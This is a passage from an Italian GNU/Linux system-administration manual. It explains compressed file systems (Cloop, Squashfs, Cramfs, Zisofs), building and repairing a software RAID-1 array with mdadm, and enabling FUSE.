Cloop nasce dall'esigenza di permettere a un disco ottico, da usare in sola lettura, di contenere più dati della propria capacità nominale, mantenendo un accesso fluido. Pertanto, si usa Cloop prevalentemente per file system di tipo ISO 9660, o UDF. D'altro canto, l'uso di un file system diverso, sarebbe controproducente sotto tutti i punti di vista.

Per poter gestire un file system Cloop è necessario disporre degli strumenti necessari alla compressione ed eventualmente all'estrazione di un file-immagine Cloop, oltre al modulo compilato per il proprio kernel.

Per arrivare ad avere un file system compresso, la prima cosa da fare è realizzare il file-immagine di questo, cosa che di solito si fa con '**`genisoimage`**' (sezione 21.7), quindi si

passa alla compressione usando normalmente '**create_compressed_fs**' secondo uno dei due schemi seguenti:

```
create_compressed_fs immagine_originale immagine_cloop
```

```
cat immagine_originale | create_compressed_fs - immagine_cloop
```

L'esempio seguente mostra la creazione di un file system ISO 9660 con le estensioni Rock Ridge, a partire dal contenuto della directory '/usr/', che viene compresso per generare il file 'usr.cloop':

genisoimage -R /usr | create_compressed_fs - usr.cloop [*Invio*]

Se per qualche ragione fosse necessario ricreare il file-immagine di partenza, si può usare '**extract_compressed_fs**':

```
extract_compressed_fs immagine_cloop immagine_originale
```

```
cat immagine_cloop | extract_compressed_fs - immagine_originale
```

Per accedere al file system compresso senza estrarlo è necessario il modulo 'cloop.o', il quale deve essere stato compilato espressamente per il proprio tipo di kernel. La descrizione della procedura da seguire per questo è allegata ai sorgenti di Cloop e qui non viene descritta. Una volta installato correttamente il modulo (probabilmente è necessario avviare '**depmod -a**' per ricostruire le dipendenze tra i moduli), lo si deve caricare con l'indicazione contestuale del file contenente l'immagine compressa a cui si vuole accedere:

modprobe cloop file=*immagine_cloop* [*Invio*]

Oppure:

insmod cloop.o file=*immagine_cloop* [*Invio*]

Se si omette l'indicazione dell'argomento '**file=**...', si ottiene una segnalazione di errore e il modulo non viene caricato. Tornando all'esempio già visto, si potrebbe trattare del file 'usr.cloop' collocato nella directory radice del file system in uso:

modprobe cloop file=/usr.cloop [*Invio*]

```
cloop: Welcome to cloop v0.67
cloop: /usr.cloop: 12326 blocks, 65536 bytes/block, ↩
↪largest block is 65562 bytes.
```

Si ricorda che si può accedere a un solo file system Cloop per volta.

Dopo aver caricato il modulo si può accedere al file system come se questo fosse nella sua dimensione normale, non compresso, facendo riferimento a un file di dispositivo speciale che di solito è meglio creare al volo:

mknod /dev/cloop b 240 0 [*Invio*]

Quando si ha la disponibilità del file di dispositivo '/dev/cloop', si può innestare il file system nel modo consueto:

```
mount -o ro -t tipo /dev/cloop punto_di_innesto
```

Tornando all'esempio già visto, se il file system è di tipo ISO 9660 e contiene quanto deve trovarsi nella directory '/usr/', si può usare il comando seguente:

mount -o ro -t iso9660 /dev/cloop /usr [*Invio*]

21.9.2 Squashfs

Utilizzando un sistema con kernel Linux è disponibile anche il file system compresso Squashfs.[45] A differenza di Cloop, si tratta di un file system con caratteristiche proprie che non viene generato a partire da un altro tipo di file system. In pratica, il file system viene prodotto dai dati da archiviare e non da un altro file system non compresso. Questo lo rende più efficiente di Cloop e più semplice da utilizzare.

La creazione del file system avviene per mezzo del programma '**mksquashfs**', usato in uno dei due modi seguenti:

```
mksquashfs percorso file_squashfs [opzioni] [-e directory_esclusa...]
```

```
mksquashfs percorso_1 percorso_2... file_squashfs [opzioni] [-e directory_esclusa...]
```

In generale, i percorsi indicati, i quali possono essere file o directory intere, vengono copiati all'interno del file-immagine indicato come ultimo argomento prima delle opzioni. Tuttavia, l'utilizzo di una o dell'altra forma cambia il modo di inserire i dati relativi nel file-immagine di destinazione: se si archivia una directory soltanto, è il suo contenuto ad apparire nella directory radice del file system che viene generato, mentre in presenza di più percorsi (riferiti indifferentemente a file o a directory), questi vengono riprodotti nella destinazione mantenendo l'ultimo nome del percorso di origine. In generale, anche se sembra difficile da descrivere, in pratica questo funzionamento è quello intuitivo; si osservino i due esempi seguenti:

mksquashfs /usr/bin bin.sqsh [*Invio*]

mksquashfs /usr/bin /usr/sbin xbin.sqsh [*Invio*]

Nel primo caso si ottiene il file 'bin.sqsh', contenente un file system di tipo '**squashfs**' in cui, a partire dalla directory radice si trovano subito i file eseguibili contenuti nella directory di origine; invece, nel secondo caso il file system contenuto in 'xbin.sqsh' si compone delle directory '/bin/' e '/sbin/'.

Per poter accedere a un file system di tipo Squashfs è sufficiente che il kernel ne sia stato predisposto in fase di compilazione (il kernel Linux include le funzionalità per l'accesso a un file system Squashfs nei sorgenti originali), ma a differenza di Cloop, per l'innesto del file system non si richiedono accorgimenti particolari.

- *File systems*
  - *Miscellaneous filesystems*
    - *SquashFS*

L'esempio successivo mostra l'innesto del file system contenuto nel file-immagine '`/usr.sqsh`' a partire dalla directory '`/usr/`'.

`#` **`mount -o loop -o ro -t squashfs /usr.sqsh /usr`** [*Invio*]

21.9.3 Cramfs

Il file system compresso Cramfs,[46] per un kernel Linux, è molto simile per funzionamento a Squashfs, ma con qualche possibilità in meno. Anche in questo caso si comincia dalla creazione del file-immagine compresso, in modo simile a Squashfs, ma con il limite di una sola directory di origine:

```
mkcramfs -b dimensione_blocchi [altre_opzioni] directory_di_origine file_cramfs
```

Per innestare il file-immagine è necessario che il kernel Linux sia stato configurato e compilato per gestire tale tipo di file system:

- *File systems*
  - *Miscellaneous filesystems*
    - *Compressed ROM file system support*

Per innestare il file-immagine si procede in modo simile a quanto già presentato con Squashfs:

```
mount -o loop -o ro -t cramfs file_immagine directory_di_innesto
```

21.9.4 Zisofs

Il file system Zisofs è in realtà un meccanismo di compressione di file singoli. In pratica, si parte da un ramo di una directory e se ne crea una sorta di copia, dove i file normali sono compressi, mentre tutto il resto rimane come prima (sottodirectory, collegamenti, ecc.). La gerarchia che si ottiene, teoricamente, può essere usata in lettura come se i file non fossero compressi, ma per questo occorre che il kernel sia predisposto allo scopo. In pratica, questa tecnica si usa per i file system ISO 9660 dei dischi ottici, come estensione specifica di GNU/Linux allo standard Rock Ridge, ma non si può applicare ai file system UDF.

La prima fase nella preparazione di un file system compresso, secondo questa tecnica, è quindi la creazione di una copia del ramo che interessa, compresso con '**`mkzftree`**', il quale fa parte di Zisofs-tools:[47]

```
mkzftree [opzioni] directory_origine directory_di_destinazione
```

```
mkzftree -F [altre_opzioni] origine destinazione
```

A titolo di esempio, si supponga di voler archiviare una parte dei file che servono al funzionamento del sistema operativo in un disco ottico; si tratta precisamente delle sole directory '`/bin/`', '`/etc/`', '`/lib/`' e '`/sbin/`'. La prima fase consiste nella creazione di una nuova gerarchia compressa, per esempio a partire da '`/var/tmp/archiviazione/`', che viene creata appositamente:

`#` **`mkdir /var/tmp/archiviazione`** [*Invio*]

`#` **`mkzftree /bin /var/tmp/archiviazione/bin`** [*Invio*]

`#` **`mkzftree /etc /var/tmp/archiviazione/etc`** [*Invio*]

`#` **`mkzftree /lib /var/tmp/archiviazione/lib`** [*Invio*]

`#` **`mkzftree /sbin /var/tmp/archiviazione/sbin`** [*Invio*]

Al termine di queste operazioni, se si va a controllare il contenuto della directory '`/var/tmp/archiviazione/`', si può avere l'impressione che nulla sia cambiato, a parte la dimensione dei file e il loro contenuto effettivo.

Teoricamente, se il file '`/etc/magic`' è stato aggiornato correttamente, dovrebbe essere possibile riconoscere questi file come '**`zisofs`**'; tuttavia, potrebbe essere necessario copiarli al di fuori del loro contesto per individuarli come tali.

Nella struttura creata in questo modo, **si possono anche inserire file non compressi**, come potrebbero essere i file necessari all'avvio del sistema (il kernel e altri), oppure un file di spiegazioni per chi dovesse tentare di leggere i dati senza sapere come fare.

Nel modello sintattico appare in evidenza la possibilità di usare l'opzione '**`-F`**' (ovvero '**`--file`**'). Questa opzione è utile quando l'origine e la destinazione possono essere qualcosa di diverso da directory. In pratica, con questa opzione si può comprimere anche un file singolo, mentre altrimenti si otterrebbe una segnalazione di errore.

Una volta realizzata la struttura, si passa normalmente alla creazione del file-immagine, con gli strumenti soliti, specificando che si va a creare un file system con estensioni Zisofs. Si osservi che in questo caso non ha più senso inserire estensioni Joliet e nello stesso modo non serve più la creazione di file '`TRANS.TBL`'. Viene mostrato un modello semplificato per l'uso di '**`mkisofs`**':

```
mkisofs  -z {-r|-R} [altre_opzioni] -o file_immagine directory
```

Per esempio, per creare il file-immagine '/var/tmp/immagine.iso' dal contenuto di '/var/tmp/archiviazione/', dovrebbe essere sufficiente agire in questo modo:

mkisofs -z -R -o /var/tmp/immagine.iso /var/tmp/archiviazione [*Invio*]

Successivamente si deve passare alla registrazione del disco ottico a partire dall'immagine (si veda per questo la sezione 21.7).

Quando si innesta un disco ottico realizzato con le estensioni Zisofs, se il sistema operativo è in grado di riconoscerle, dovrebbe leggere i dati in modo trasparente, senza lasciare avvertire che si tratta di dati compressi; tuttavia rimane il fatto che la dimensione dei file potrebbe risultare fasulla se letta con gli strumenti normali. Nel caso particolare di un sistema GNU/Linux, occorre che il kernel sia stato compilato includendo le funzionalità seguenti:

- *File systems*
  - *ISO 9660 CD-ROM file system support*
  - *Transparent decompression extension*

In mancanza di queste estensioni, la lettura dei dati richiede un'estrazione manuale, sempre con l'uso di '**mkzftree**', ma questa volta con l'opzione '**-u**':

```
mkzftree -u [altre_opzioni] directory_origine directory_di_destinazione
```

Per esempio, si può fare una copia leggibile di un disco ottico, innestato nella directory '/mnt/cdrom/', copiando i dati nella directory '/tmp/cdrom/' (che viene creata automaticamente):

mkzftree -u /mnt/cdrom /tmp/cdrom [*Invio*]

Maggiori dettagli sull'uso di '**mkzftree**' si possono leggere nella pagina di manuale *mkzftree(1)*.

21.10 Gestione della memoria di massa in modo ridondante

Le unità di memorizzazione di massa sono componenti che possono avere parti meccaniche sottoposte a usura, ma qualunque sia la tecnologia, tali unità sono soggette a guasti, come qualunque altra parte di un sistema di elaborazione di dati.

In generale è necessario premunirsi dalle perdite di dati, dovute a guasti o al deterioramento dei supporti, con delle copie di sicurezza, da eseguire periodicamente; tuttavia, anche predisponendo una procedura efficace per le copie di sicurezza, l'impegno necessario per il ripristino del funzionamento del proprio elaboratore è sempre rilevante.

Dal momento che la frequenza con cui si verifica una rottura di un disco fisso, o di ciò che ne fa la funzione, è maggiore rispetto ad altri eventi che possono procurare la perdita dei dati (per esempio la disattenzione, il furto, l'atto vandalico, l'incendio, l'allagamento, il terremoto,

ecc.), vale la pena di attenuare l'effetto di questo tipo di problema con la realizzazione di un insieme di unità ridondanti, noto normalmente con la sigla «RAID».

21.10.1 RAID

La sigla RAID sta per *Redundancy array of inexpensive disks* e rappresenta quindi un insieme di tecniche per mettere assieme delle unità di memorizzazione aggiungendo qualche forma di ridondanza. Si distinguono diversi livelli, alcuni dei quali sono descritti brevemente nell'elenco seguente.

Livello RAID	Descrizione
RAID-0	Il livello zero dei sistemi RAID è privo di ridondanza e si occupa soltanto di unire assieme più unità di memorizzazione, all'interno dei quali i dati vengono suddivisi equamente, in modo da bilanciare anche il carico di operazioni di lettura e scrittura che le riguardano. In pratica, il livello zero consente di realizzare un'unità virtuale di grandi dimensioni, più efficiente, ma la rottura di una delle unità del gruppo porta alla perdita di tutti i dati. RAID-0 è noto anche con la definizione *block striping*.
RAID-1	Il livello uno dei sistemi RAID si occupa di unire assieme due o più unità di memorizzazione (ma di solito sono solo due) che si trovano a riprodurre fedelmente tutte la stessa cosa. In questo caso, la rottura di una unità non pregiudica l'utilizzo dei dati che sono disponibili nelle unità rimanenti. RAID-1 è noto anche con la definizione *disk mirroring*.
RAID-3	Il livello tre dei sistemi RAID si occupa di unire assieme più unità di memorizzazione, all'interno delle quali i dati vengono suddivisi equamente, in modo da bilanciare anche il carico di operazioni di lettura e scrittura che le riguardano, dedicando una di queste unità al contenimento di un sistema di codici di controllo che permettono di ricostruire i dati nel caso una delle altre unità si rompa. In pratica, il livello tre crea una forma di ridondanza, ma meno affidabile del livello uno. Naturalmente, per attuare un livello tre servono almeno tre unità di memorizzazione.
RAID-4	Il livello quattro dei sistemi RAID è simile al livello tre, con la differenza che vengono distribuiti in modo differente (più efficiente) tra le unità di memorizzazione, ma rimane compito di un'unità separata il sistema di codici di controllo che permette la ricostruzione dei dati.
RAID-5	Il livello cinque dei sistemi RAID equivale al livello quattro, dove però le informazioni che servono per la ricostruzione dei dati sono distribuite tra le unità, senza essere così concentrate in una soltanto. In questo modo si aumenta l'efficienza, in termini di tempi di accesso ai dati.

I livelli RAID possono essere anche combinati assieme; per esempio è possibile realizzare due insiemi RAID-0, i quali si associano a loro volta in un insieme RAID-1, in modo da non perdere i dati nel caso una delle unità smetta di funzionare. In questo caso si parla anche di RAID-10

21.10.2 RAID hardware e software

La realizzazione di un insieme di unità di memorizzazione secondo uno dei vari livelli RAID può essere ottenuta attraverso sistemi hardware, oppure software. Nel primo caso si tratta di unità di controllo che gestiscono tutto autonomamente, facendo sì che il sistema operativo veda in pratica un'unità di memorizzazione «normale»; nel secondo caso, è il sistema operativo che associa le unità di memorizzazione e le gestisce usando una forma di ridondanza.

Come si può comprendere, le unità di controllo RAID sono più costose di quelle prive di tale funzionalità; tuttavia, se non si creano altri tipi di problemi, hanno il vantaggio di non creare difficoltà al sistema operativo.

21.10.3 RAID-1 via software con i sistemi GNU/Linux

Con i sistemi GNU/Linux è relativamente agevole la creazione di un insieme RAID senza l'ausilio di unità di controllo specializzate. In questa sezione si descrive brevemente la realizzazione di un sistema composto da due unità di memorizzazione che riproducono esattamente gli stessi dati, ovvero un sistema RAID-1, cosa che in generale rappresenta la situazione più semplice da affrontare per chiunque.

Se la propria distribuzione GNU/Linux offre una procedura di installazione che prevede anche la gestione di un sistema RAID-1 software, dovrebbe essere sufficiente disporre delle due unità di memorizzazione perché tutto venga predisposto senza interventi particolari; tuttavia, qui si vuole mostrare un procedimento più brutale, da affrontare normalmente quando si vuole travasare un sistema GNU/Linux preesistente in un insieme RAID-1. In pratica, si fa affidamento sul fatto che sia disponibile una terza unità di memorizzazione, contenente il sistema GNU/Linux da trasferire, da rimuovere successivamente dall'elaboratore, o da destinare ad altri scopi. Naturalmente è necessario organizzarsi in modo da poter avviare questo sistema transitorio anche quando lo si sposta in un'altra unità di controllo o comunque in un'altra posizione della stessa.

21.10.3.1 Predisposizione del kernel

Per poter avviare un sistema GNU/Linux che utilizza un insieme RAID (gestito via software), è indispensabile che il kernel includa tutte le funzionalità necessarie, senza avvalersi per questo di moduli. Se possibile, è meglio includere tutte le funzionalità associate ai livelli RAID della voce *Multi-device support (RAID and LVM)*. Se non è possibile includere tutte le funzionalità corrispondenti, occorre selezionare almeno *RAID support* e *RAID-1 (mirroring) mode* (dal momento che si vuole realizzare un sistema RAID-1).

Se il kernel che si utilizza è predisposto per la gestione di insiemi RAID, appare il file virtuale '`/proc/mdstat`', dal quale, successivamente, si possono ottenere le informazioni sull'attività del sistema RAID. Tanto per cominciare si può vedere quali livelli RAID sarebbero disponibili:

$ **cat /proc/mdstat** [*Invio*]

```
Personalities : [linear] [raid0] [raid1] [raid5] [multipath]
...
```

Dall'esempio si comprende che RAID-1 è disponibile (insieme anche ad altri livelli RAID).

21.10.3.2 Partizioni e installazione

È opportuno che le unità di memorizzazione da associare in un insieme RAID siano suddivise in partizioni, tenendo conto delle esigenze che potrebbero porsi in un secondo momento. Infatti, se si realizza un sistema RAID, lo si fa presumibilmente per mantenere intatta la situazione nel tempo. Probabilmente, nelle situazioni più semplici è sufficiente predisporre tre partizioni: una per i file necessari all'avvio (kernel incluso), una per la memoria virtuale e la terza per tutto il resto.

È possibile inserire i file necessari all'avvio del sistema operativo anche in una partizione gestita attraverso un sistema RAID, ma in generale è una cosa sconsigliabile e comunque non esiste una reale necessità di agire in questo modo, se ci si organizza correttamente.

Con il sistema GNU/Linux attualmente in funzione (quello che poi deve essere travasato), si procede alla suddivisione in partizioni. Seguendo l'ipotesi che è stata formulata si dividono entrambe le unità in modo da avere una piccola partizione (da 100 Mibyte in su) di tipo 83_{16} (Linux-nativa), una partizione di tipo 82_{16} (Linux-swap) e una partizione di tipo FD_{16}. Il tipo FD_{16} (autorilevamento RAID) dichiara esplicitamente che si tratta di una partizione usata per la realizzazione di sistemi RAID e permette al kernel di attivarla prima di innestare il file system principale.

Teoricamente sarebbe possibile utilizzare in modo speculare anche le partizioni per la memoria virtuale; in pratica questo non conviene e l'intenzione, qui, è solo quella di utilizzarle in modo da sommare la loro capacità.

Una volta predisposte le partizioni, facendo in modo che siano il più possibile uguali, si può procedere a una prima inizializzazione che attiva la funzionalità RAID-1.

Per rendere l'esempio a cui si fa riferimento più realistico, si suppone di dover accoppiare le unità '`/dev/sda`' e '`/dev/sdb`'. Pertanto, le partizioni potrebbero essere organizzate così:

'`/dev/sda1`'	'`/dev/sdb1`'	partizioni per il kernel e gli altri file necessari all'avvio;
'`/dev/sda2`'	'`/dev/sdb2`'	partizioni da gestire in modo speculare secondo il modello RAID-1;
'`/dev/sda4`'	'`/dev/sdb4`'	partizioni per la memoria virtuale.

La partizione virtuale RAID-1 viene associata a un file di dispositivo differente, secondo il modello '`/dev/md`***n***', dove il numero ***n*** dipende da una scelta abbastanza libera. Si ritiene qui che sia più conveniente utilizzare lo stesso numero che individua la partizione nel disco, in modo da non creare confusione; pertanto si intende creare il partizione RAID '`/dev/md2`'. A questo punto occorre accertarsi di disporre del file di dispositivo relativo; se manca deve essere creato:

`#` **`mknod -m 0660 /dev/md2 b 9 2`** [*Invio*]

Tabella 21.111. Creazione dei primi file di dispositivo necessari alla gestione di dischi RAID.

File di dispositivo	Comando
'`/dev/md0`'	`#` **`mknod -m 0660 /dev/md0 b 9 0`** [*Invio*]
'`/dev/md1`'	`#` **`mknod -m 0660 /dev/md1 b 9 1`** [*Invio*]
'`/dev/md2`'	`#` **`mknod -m 0660 /dev/md2 b 9 2`** [*Invio*]
'`/dev/md3`'	`#` **`mknod -m 0660 /dev/md3 b 9 3`** [*Invio*]
'`/dev/md4`'	`#` **`mknod -m 0660 /dev/md4 b 9 4`** [*Invio*]
'`/dev/md5`'	`#` **`mknod -m 0660 /dev/md5 b 9 5`** [*Invio*]
'`/dev/md6`'	`#` **`mknod -m 0660 /dev/md6 b 9 6`** [*Invio*]

Per creare l'unità RAID-1 si procede con questo comando, con Mdadm:[48]

```
# mdadm --create /dev/md2 --level=raid1 --raid-devices=2 ↩
↪      /dev/sda2 /dev/sdb2 [Invio]
```

Se tutto procede regolarmente, l'unità RAID-1 viene attivata quasi subito, ma inizia una scansione che serve ad allineare le due partizioni (in pratica si può vedere che i dischi sono attivi in modo costante per lungo tempo). Durante questa fase, è già possibile procedere a inizializzare l'unità RAID-1 con il tipo di file system che si preferisce; in questo caso si sceglie il tipo Ext4:

```
# mkfs.ext4 /dev/md2 [Invio]
```

Terminata l'inizializzazione si può innestare la partizione e procedere con la copia del sistema attivo (o di un altro se necessario). Si suppone di volere innestare la partizione nella directory '/mnt/' e di procedere con la copia di conseguenza:

```
# mount -t ext4 /dev/md2 /mnt [Invio]

# cd / [Invio]

# cp -dpRv /bin /mnt [Invio]

# cp -dpRv /etc /mnt [Invio]

# cp -dpRv /home /mnt [Invio]

# cp -dpRv /lib /mnt [Invio]

# cp -dpRv /root /mnt [Invio]

# cp -dpRv /sbin /mnt [Invio]

# cp -dpRv /usr /mnt [Invio]

# cp -dpRv /var /mnt [Invio]

# mkdir /mnt/boot [Invio]

# mkdir /mnt/dev [Invio]

# mkdir /mnt/mnt [Invio]

# mkdir /mnt/proc [Invio]

# mkdir /mnt/tmp [Invio]

# chmod 1777 /mnt/tmp [Invio]

# cd /mnt/dev [Invio]

# MAKEDEV generic [Invio]
```

Questa sequenza di operazioni fa riferimento a un sistema GNU/Linux generico e non tiene conto delle particolarità che ha ogni singola distribuzione; pertanto va adattato alla propria realtà.

Fatta la copia, è necessario modificare immediatamente il file '`etc/fstab`' della partizione innestata nella directory '`/mnt/`' (pertanto si tratta temporaneamente del file '`/mnt/etc/fstab`'), in modo da fare riferimento correttamente al file di dispositivo '`/dev/md2`' per il file system principale. In base all'esempio a cui si sta facendo riferimento, il file '`etc/fstab`' che si va a predisporre dovrebbe contenere le righe seguenti:

```
/dev/sda4       none            swap    sw                          0  0
/dev/sdb4       none            swap    sw                          0  0
/dev/md2        /               auto    defaults,errors=remount-ro  0  1
/dev/sda1       /boot           auto    defaults,errors=remount-ro  0  1
/dev/sdb1       /boot-mirror    auto    defaults,errors=remount-ro  0  1
proc            /proc           proc    defaults                    0  0
```

Come si può osservare, la partizione corrispondente al file di dispositivo '`/dev/sdb1`' viene innestata per comodità nella directory '`/boot-mirror/`', in modo da rammentare all'amministratore del sistema operativo che deve occuparsi di mantenere il suo contenuto allineato a quello della partizione innestata invece nella directory '`/boot/`'.

Il contenuto delle partizioni '`/dev/sda1`' e '`/dev/sdb1`' va organizzato per assicurare l'avvio del sistema, anche quando una delle due unità ('`/dev/sda`' o '`/dev/sdb`') dovesse mancare. Si veda a questo proposito il capitolo 6. Quindi, prima di riavviare il sistema operativo per vedere se funziona effettivamente, conviene controllare che l'attività di sincronizzazione delle due partizioni sia stata completata, osservando il file '`/proc/mdstat`':

`#` **`cat /proc/mdstat`** [*Invio*]

```
Personalities : [linear] [raid0] [raid1] [raid5] [multipath]
read_ahead 1024 sectors
md2 : active raid1 sda2[0] sdb2[1]
      53897920 blocks [2/2] [UU]

unused devices: <none>
```

L'esempio mostra una situazione di riposo.

21.10.3.3 Sostituzione di un'unità difettosa

Quando si verifica l'evento che si teme, ovvero che una delle due unità di memorizzazione risulti difettosa, teoricamente il sistema RAID dovrebbe continuare a funzionare escludendo quella unità. Una volta appurato questo fatto, occorre provvedere alla sua sostituzione.

È necessario quindi procurare un'altra unità di memorizzazione, con una capacità uguale o maggiore di quello che si deve sostituire, cercando di riprodurre la stessa suddivisione precedente. Probabilmente, trattandosi di dischi di grandi dimensioni, la geometria apparente dovrebbe risultare compatibile (255 testine; 63 settori per traccia e una quantità di cilindri uguale o maggiore rispetto all'unità precedente). A ogni modo, si possono riprodurre fedelmente le stesse partizioni anche se la geometria non dovesse essere la stessa, pertanto, prima di rimuovere l'unità difettosa, si potrebbe salvare la mappa delle partizioni con il comando seguente:

`#` **`sfdisk -d /dev/sda > /root/mappa`** [*Invio*]

Come si intende, l'unità difettosa dovrebbe essere in questo caso quella corrispondente al file di dispositivo '/dev/sda'. Il file che si ottiene potrebbe avere l'aspetto seguente:

```
# partition table of /dev/sda
unit: sectors

/dev/sda1 : start=       63, size=    48195, Id=83
/dev/sda2 : start=    48258, size=   963900, Id=82
/dev/sda3 : start=  1012158, size=107796087, Id=fd
```

Una volta sostituito il disco, si possono riprodurre le stesse partizioni (avanzando probabilmente dello spazio libero alla fine, se l'unità ha una capacità maggiore della precedente) con il comando seguente:

sfdisk /dev/sda < /root/mappa [*Invio*]

A questo punto, conviene controllare con '**fdisk**', ma non dovrebbe essere il caso di modificare la suddivisione in partizioni, anche se questa non è conforme alla geometria dell'unità. Quindi si può procedere all'inizializzazione delle partizioni che sono escluse dal sistema RAID (in questo caso '/dev/sda1' usata per il sistema di avvio e '/dev/sda4' usata per la memoria virtuale); inoltre, se necessario, occorre ripristinare il sistema di avvio. Quindi si può informare il sistema RAID che si può riappropriare della partizione '/dev/sda2' con il comando seguente:

mdadm --add /dev/md2 /dev/sda2 [*Invio*]

Naturalmente si sta facendo riferimento all'esempio che appare nella sezione precedente; in ogni caso, '/dev/md2' deve essere quanto risulta dalla lettura del file '/proc/mdstat'.

Dopo l'uso di questo comando il sistema RAID si prende possesso della partizione e inizia la ricostruzione della copia speculare al suo interno.

21.10.3.4 Situazioni più gravi

Il sistema RAID-1, attuato via software attraverso un kernel Linux, ha il vantaggio di mantenere leggibili le partizioni RAID come se fossero partizioni inizializzate normalmente. In pratica, le informazioni che riguardano l'insieme dei dischi RAID vengono collocate alla fine della partizione, in quello che viene chiamato «super blocco» (dell'insieme RAID), il quale consente al kernel di conoscere la struttura dell'insieme RAID senza bisogno di file di configurazione. Pertanto, se per qualche ragione non si può fare diversamente, si può accedere a questi dati, **avendo cura di farlo soltanto in lettura**, ignorando il sistema RAID-1.

In conclusione, se un evento accidentale rendesse inutilizzabile l'insieme di dischi RAID-1, dovrebbe rimanere almeno la possibilità di recuperare i dati da uno dei dischi accedendo alle partizioni nel modo normale, ovvero non attraverso i dispositivi '/dev/md***n***'.

21.10.3.5 Aggiungere un'unità

Una volta fatta l'esperienza con una coppia di dischi RAID-1, quando si manifestano i primi problemi e si comprende quanto è importante disporre di un sistema di memorizzazione affidabile, è facile desiderare di migliorare l'affidabilità del sistema con l'aggiunta di una terza copia speculare. Si tratta naturalmente di un'idea lodevole, anche se comporta una spesa per l'aggiunta di un altro disco.

Seguendo l'esempio già proposto in precedenza, si parte da una situazione in cui esistono due unità di memorizzazione, dove le partizioni '`/dev/sda2`' e '`/dev/sdb2`' compongono un sistema RAID-1 '`/dev/md2`'. Si vuole aggiungere un'altra unità, nella quale riprodurre più o meno la stessa suddivisione in partizione di quelle già installate, in modo da utilizzare la partizione '`/dev/sdc2`' come terza copia speculare del sistema RAID-1 '`/dev/md2`'. Dopo aver installato fisicamente l'unità aggiuntiva e avere riavviato il sistema, occorre informare della presenza di un terzo disco:

`# ` **`mdadm --grow --raid-devices=3 /dev/md2`** [*Invio*]

Si può verificare nel file virtuale '`/proc/mdstat`':

`# ` **`cat /proc/mdstat`** [*Invio*]

```
Personalities : [linear] [raid0] [raid1] [raid5] [multipath]
read_ahead 1024 sectors
md2 : active raid1 sda2[0] sdb2[1]
      53897920 blocks [3/2] [UU_]

unused devices: <none>
```

Come si può osservare, pur essendo previste tre partizioni in gioco, in realtà solo due sono operative. Pertanto, occorre aggiungere la partizione mancante:

`# ` **`mdadm --add /dev/md2 /dev/sdc2`** [*Invio*]

A questo punto parte la sincronizzazione della partizione '`/dev/sdc2`' e al termine si dovrebbe osservare il funzionamento parallelo delle tre partizioni:

`# ` **`cat /proc/mdstat`** [*Invio*]

```
Personalities : [linear] [raid0] [raid1] [raid5] [multipath]
read_ahead 1024 sectors
md2 : active raid1 sda2[0] sdb2[1] sdb3[2]
      53897920 blocks [3/3] [UUU]

unused devices: <none>
```

21.10.3.6 Creare un sistema RAID-1 senza dover travasare i dati

È possibile realizzare un sistema RAID-1 utilizzando una partizione che contiene già un file system Second-extended (Ext2, Ext3 o Ext4), senza bisogno di travasare i dati e, soprattutto, senza perderli.

Si suppone di avere una situazione come quella della tabella successiva, dove la partizione '/dev/sda2' è quella che viene utilizzata:

'/dev/sda1'	'/dev/sdb1'	partizioni per il kernel e gli altri file necessari all'avvio;
'/dev/sda2'	'/dev/sdb2'	partizioni da gestire in modo speculare secondo il modello RAID-1.
'/dev/sda4'	'/dev/sdb4'	partizioni per la memoria virtuale.

Per poter fare le trasformazioni necessarie è necessario avviare il sistema con un disco esterno, come un disco ottico autoavviabile, dove deve essere disponibile il programma Mdadm.

Si procede con la modifica del tipo di partizione, sia per '/dev/sda2', sia per '/dev/sdb2', in modo che corrisponda a FD_{16} (autorilevamento RAID); per questo basta usare '**fdisk**', avendo cura di non modificare altro.

Con Mdadm si dichiara l'unità RAID '/dev/md2' (si ricordi che potrebbe essere necessario provvedere alla creazione del file di dispositivo '/dev/md2'), associando inizialmente solo la partizione '/dev/sda2':

```
# mdadm --create /dev/md2 --level=raid1 --raid-devices=2 ↩
↪       /dev/sda2 missing [Invio]
```

Si osservi alla fine della riga di comando dell'esempio appena mostrato la presenza della parola chiave '**missing**', con la quale si evita temporaneamente l'indicazione della seconda partizione.

```
  mdadm: /dev/sda2 appears to contain an ext2fs file system
      size=35782656K  mtime=Sat Jan  2 19:24:20 2010

Continue creating array? y [Invio]

  mdadm: array /dev/md2 started.
  md: bind<sda2>
  raid1: raid set md2 active with 1 out of 2 mirrors
```

Le informazioni sulla gestione RAID vengono inserite alla fine della partizione, che, di conseguenza, ne risulta ridotta. È necessario procedere a un aggiustamento:

```
# fsck.ext4 -f /dev/md2 [Invio]
```

```
  e2fsck 1.37 (21-Mar-2005)
  Pass 1: Checking inodes, blocks, and sizes
  Pass 2: Checking directory structure
  Pass 3: Checking directory connectivity
  Pass 4: Checking reference counts
  Pass 5: Checking group summary information
  /dev/md2: 404645/4481568 files (2.5% non-contiguous), 5216591/8945664 blocks
```

resize2fs /dev/md2 [*Invio*]

```
resize2fs 1.37 (21-Mar-2005)
Resizing the filesystem on /dev/md2 to 8946176 (4k) blocks.
The filesystem on /dev/md2 is now 8945664 blocks long.
```

Infine si aggiunge l'altra partizione che prima è stata lasciata da parte:

mdadm --add /dev/md2 /dev/hdc2 [*Invio*]

Naturalmente occorre ricordare di modificare il file '`/etc/fstab`' nell'unità '`/dev/md2`' e di sistemare il sistema di avvio, come già descritto.

21.11 FUSE: «file system in user space»

FUSE, ovvero *File system in user space*, è un file system virtuale generico per i sistemi GNU/Linux. In pratica questa funzione è gestita all'interno del kernel Linux, ma il file system virtuale che si ottiene dipende da un programma apposito esterno, che comunica con il kernel secondo il protocollo di FUSE.

Attraverso il meccanismo di FUSE, si evita di dover inserire nel kernel la gestione di ogni tipo di file system (reale o virtuale che sia), lasciando il compito di interfacciarsi con quello a un programma esterno. Inoltre, si danno delle possibilità in più agli utenti, ma per comprendere questa cosa occorre provare.

21.11.1 Attivazione di FUSE

Nei kernel attuali delle distribuzioni GNU/Linux comuni, la funzionalità di FUSE viene inclusa quasi sempre come modulo; eventualmente occorre intervenire nel menù *File systems*:

- *File systems*
  - *File system in user space support*

Se la funzionalità di FUSE è relegata in un modulo del kernel, occorre provvedere a caricarlo:

modprobe fuse [*Invio*]

Tuttavia, perché FUSE sia attivo è necessario che sia presente anche un file di dispositivo particolare: '`/dev/fuse`'. Se non ci sono sistemi automatici per la gestione dei file di dispositivo, potrebbe essere necessario crearlo la prima volta:

mknod -m 0660 /dev/fuse c 10 229 [*Invio*]

chown root:fuse /dev/fuse [*Invio*]
